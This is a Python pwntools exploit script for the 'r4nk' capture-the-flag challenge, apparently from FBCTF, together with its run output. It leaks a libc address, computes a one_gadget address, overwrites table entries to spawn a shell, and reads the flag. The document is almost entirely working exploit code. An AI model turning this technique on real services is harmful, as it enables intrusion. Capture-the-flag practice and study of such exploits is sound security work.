```from pwn import *
def show():	r.recvuntil("> ")	r.sendline('1')def rank(title,rank):	r.recvuntil("> ")	r.sendline('2')	r.recvuntil("> ")	r.sendline(str(title))	r.recvuntil("> ")	r.sendline(str(rank))
#r = process("r4nk")r = remote("challenges.fbctf.com", 1339)rank(0,-263020)show()read = u64(r.recvuntil("\n")[3:9]+"\x00\x00")libc = read - 0x110070one_gadget = libc + 0x10a38clog.info("read: %#x",read)log.info("libc: %#x",libc)log.info("one_gadget: %#x",one_gadget)rank(0x11,0x400980)rank(0x12,0x602100)r.recvuntil("> ")r.sendline('3'+'A'*7+p64(one_gadget))r.sendline("cat /home/r4nk/flag")r.interactive()``````$ python rank.py[+] Opening connection to challenges.fbctf.com on port 1339: Done[*] read: 0x7f80bb7ed070[*] libc: 0x7f80bb6dd000[*] one_gadget: 0x7f80bb7e738c[*] Switching to interactive modeg00dBy3flag{wH0_n33ds_pop_rdx_4NYw4y}```